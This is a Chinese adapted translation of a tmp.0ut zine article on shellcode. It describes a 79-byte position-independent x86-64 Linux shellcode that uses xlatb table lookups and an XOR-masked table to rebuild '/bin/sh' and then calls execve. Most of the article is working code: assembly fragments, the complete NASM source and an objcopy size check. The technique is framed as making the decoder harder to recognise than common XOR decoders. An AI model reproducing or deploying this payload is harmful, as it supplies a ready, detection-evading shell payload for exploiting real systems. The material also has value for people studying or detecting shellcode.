本文根据 tmp.0ut 第五期中 febnug 的文章编译整理,非逐字翻译;文中观点均属于原作者。

原文:XLAT is All You Need

文章内容来自 tmpout.sh,本译文依原站 CC BY-NC-SA 4.0 许可作为改编内容发布。如有侵权请通知,我会下架文章。 全文字符数:2576

1. 引言

大多数 shellcode 解码器都遵循一个熟悉的模式:一个紧凑的循环对载荷逐字节施加 XOR、加法之类的简单变换,把原始 payload 还原出来。这些技术有效,但也容易预测,且已有大量文档。

本文探索另一种方式:把 xlatb 指令当作核心解码原语,配合一张最小查找表和运行时变异。shellcode 不做算术变换,而是做间接查表——把一部分解码逻辑放进数据里。最终载荷在 79 字节以内,且完全位置无关。更早的迭代还更小一点,但指针解析不正确时会不稳定,尤其是作为裸 shellcode 执行时;最终版本在保持紧凑尺寸的同时优先保证可靠性。

更重要的是,这种方法走向“数据驱动”:行为由表的内容定义,而不是由显式指令序列定义。

2. 为什么用 XLAT 而不是 XOR?

基于 XOR 的解码器是大多数 shellcode 的默认选择:简单、紧凑、容易实现,通常是一个固定密钥的紧凑循环。但正因如此,无论结构还是行为都可预测。

使用 xlatb 后,算术变换被替换成查表解码。原来计算:

decoded = encoded ^ key

现在变成:

decoded = table[index]

其中 index 直接取自载荷。这带来几点不同:

  • 解码逻辑是隐式的,存在数据里而不是指令里;
  • 没有固定密钥,映射可以任意定义;
  • 指令模式不常见——xlatb 在现代代码里很少见,结构更不容易被识别;
  • 只需要部分表,比完整的 256 字节查找表开销更小。

从设计角度看,XOR 把行为编码在指令中,而 xlatb 把行为编码在数据中。这种区别让方法更灵活——虽然未必更小。

3. 设计概览

shellcode 由四个主要阶段组成:

  1. 解析载荷与表的指针;
  2. 复制并变异查找表;
  3. xlatb 解码出 /bin/sh
  4. 执行 execve

约束:位置无关;尺寸受限(小于 80 字节);不用脆弱的控制流技巧;自修改安全(不写 .text)。

4. 指针解析

用 call/pop 序列获取载荷地址:

call decoder
...
decoder:
    pop rsi

早期版本依赖偏移计算,例如:

lea rbx, [rsi + table - payload]

这在独立 ELF 二进制里能工作,但作为裸 shellcode 执行时不可靠:布局假设并不总能成立,会导致非法内存访问和崩溃。

最终版本用另一组 call/pop 解析表指针:

call get_table
get_table:
	pop rbx

把 call 放在表之前,无论 shellcode 如何被加载,RBX 都保证指向正确位置。这让实现完全位置无关,在不同执行环境下都稳健。

5. 表变异

查找表以编码形式存放:

db value ^ 0x11

运行时把它复制到栈上并用 XOR 解码:

mov rax, [rbx]
mov [rsp-32], rax
lea rbx, [rsp-32]

mov cl, 7

.mut:
xor byte [rbx+rcx-1], 0x11
loop .mut

这样避免了修改 .text——在有 W^X 防护的系统上,写 .text 会失败。变异步骤还在内存里引入变化,却没有增加代码复杂度。

6. 用 XLAT 解码

载荷是一串索引而不是字符串:

db 0,1,2,3,0,4,5,6

每个字节被当作表索引:

lodsb
xlatb
stosb

于是重建出:

/bin/sh

NUL 终止符显式写入:

xor eax, eax
mov [rdi-1], al

7. 执行

字符串在栈上准备好之后:

mov al, 59
lea rdi, [rsp-16]
xor esi, esi
xor edx, edx
syscall

即调用:

execve("/bin/sh", NULL, NULL)

8. 完整 shellcode

BITS 64

_start:
    jmp short data

decoder:
    pop rsi

    call get_table
get_table:
    pop rbx

    mov rax, [rbx]
    mov [rsp-32], rax
    lea rbx, [rsp-32]

    mov cl, 7
.mut:
    xor byte [rbx+rcx-1], 0x11
    loop .mut

    lea rdi, [rsp-16]
    mov cl, 8

.loop:
    lodsb
    xlatb
    stosb
    loop .loop

    xor eax, eax
    mov [rdi-1], al

    mov al, 59
    lea rdi, [rsp-16]
    xor esi, esi
    xor edx, edx
    syscall

data:
    call decoder

payload:
    db 0,1,2,3,0,4,5,6

    call get_table

table:
    db 0x2f ^ 0x11
    db 0x62 ^ 0x11
    db 0x69 ^ 0x11
    db 0x6e ^ 0x11
    db 0x73 ^ 0x11
    db 0x68 ^ 0x11
    db 0x01 ^ 0x11

9. 尺寸与性质

  • 大小:约 80 字节(实测 79 字节);
  • 位置无关;
  • 通过栈副本自修改;
  • xlatb 做查表解码;
  • 部分查找表。

验证尺寸:

febri@ubuntu:~/project/shellcode/xlat$ objcopy -O binary -j .text xlat shellcode.bin
febri@ubuntu:~/project/shellcode/xlat$ wc -c shellcode.bin
79 shellcode.bin

10. 观察

这个方法把视角从“用指令解码数据”转成“执行由数据定义的行为”。查找表实际上就像一个小程序,而 xlatb 是执行它的机制。虽然算不上完整的虚拟机,但它展示了行为如何由数据驱动而非显式逻辑驱动。

调试过程也揭示了一个重要的实践细节:在 ELF 二进制里有效的技巧并不总能直接搬到裸 shellcode 上。实现位置无关必须考虑代码实际上是如何被加载和执行的。

11. 结论

xlatb 当作解码原语,为传统 shellcode 技术提供了一种替代方案。配合最小查找表和运行时变异,它可以构造紧凑而灵活、又与常见模式不同的载荷。

对简单场景,基于 XOR 的方法仍然更高效;但这种方法提供了另一种权衡:偏向结构变化与数据驱动行为。结果不只是更小的 shellcode,而是一种思考“shellcode 还能怎么构造”的不同方式。

12. 后续工作

  • 多态表生成;
  • 多阶段载荷;
  • 查表驱动的控制流;
  • 变形指令布局。

13. 最后的话

有时候有趣的不在于把 shellcode 做得更小,而在于把它做得不同——而 xlatb 是一个出人意料的好起点。

14. 参考


上一页:Perl 杂谈:一段会改变自身形态的代码

下一页:不存在的控制流:用标志、时序与重叠执行承载状态